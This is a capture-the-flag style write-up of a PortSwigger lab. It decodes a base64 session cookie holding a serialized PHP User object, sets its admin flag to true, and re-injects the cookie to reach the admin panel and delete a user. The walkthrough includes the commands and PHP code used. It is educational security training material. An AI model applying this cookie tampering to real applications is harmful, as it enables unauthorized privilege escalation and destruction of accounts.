Modifying serialized objects | Jan 10, 2023
Introduction
Welcome to my another writeup! In this Portswigger Labs lab, you'll learn: Modifying serialized objects! Without further ado, let's dive in.
- Overall difficulty for me (From 1-10 stars): ★☆☆☆☆☆☆☆☆☆
Background
This lab uses a serialization-based session mechanism and is vulnerable to privilege escalation as a result. To solve the lab, edit the serialized object in the session cookie to exploit this vulnerability and gain administrative privileges. Then, delete Carlos's account.
You can log in to your own account using the following credentials: wiener:peter
Exploitation
Login as user wiener:


Burp Suite HTTP history:

When we successfully logged in, a new session cookie has been set:
URL decoded:
Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czo1OiJhZG1pbiI7YjowO30=
As you can see, the last character is =, which is a padding character in base64!
Let's base64 decode that:
┌──(root🌸siunam)-[~/ctf/Portswigger-Labs/Insecure-Deserialization]
└─# echo -n 'Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czo1OiJhZG1pbiI7YjowO30=' | base64 -d
O:4:"User":2:{s:8:"username";s:6:"wiener";s:5:"admin";b:0;}
As you can see, the decoded base64 string is a serialized PHP object!
Let's break it down:
O:4:"User"means there is anUserobject, and it's length is 4 characters long2means there are 2 attributes:s:8:"username"means the first attribute is calledusername, and it's length is 8 characters longs:6:"wiener"meansusernameattribute value iswiener, and it's length is 6 characters long
s:5:"admin"means the second attribute is calledadmin, and it's length is 5 characters longb:0means theadminattribute value is boolean value0(false)
Armed with above information, we can write a PHP code to serialize and deserialize that PHP object:
<?php
$deserializedObject = 'O:4:"User":2:{s:8:"username";s:6:"wiener";s:5:"admin";b:0;}';
$serializedObject = unserialize($deserializedObject);
echo "[+] Serialized: \n";
var_dump($serializedObject);
?>
┌──(root🌸siunam)-[~/ctf/Portswigger-Labs/Insecure-Deserialization]
└─# php serialization.php
[+] Serialized:
object(__PHP_Incomplete_Class)#1 (3) {
["__PHP_Incomplete_Class_Name"]=>
string(4) "User"
["username"]=>
string(6) "wiener"
["admin"]=>
bool(false)
}
Now, to gain administrator privilege, we can just change the admin attribute to true (1):
<?php
$deserializedObject = 'O:4:"User":2:{s:8:"username";s:6:"wiener";s:5:"admin";b:1;}';
$serializedObject = unserialize($deserializedObject);
echo "[+] Serialized: \n";
var_dump($serializedObject);
echo "[+] Base64 encoded: \n" . base64_encode($deserializedObject);
?>
┌──(root🌸siunam)-[~/ctf/Portswigger-Labs/Insecure-Deserialization]
└─# php serialization.php
[+] Serialized:
object(__PHP_Incomplete_Class)#1 (3) {
["__PHP_Incomplete_Class_Name"]=>
string(4) "User"
["username"]=>
string(6) "wiener"
["admin"]=>
bool(true)
}
[+] Base64 encoded:
Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czo1OiJhZG1pbiI7YjoxO30=
Let's change the session cookie with our newly created PHP serialized object in base64 encoded:

Then refresh the page:

We can access to the admin panel!
Let's delete user carlos:


What we've learned:
- Modifying serialized objects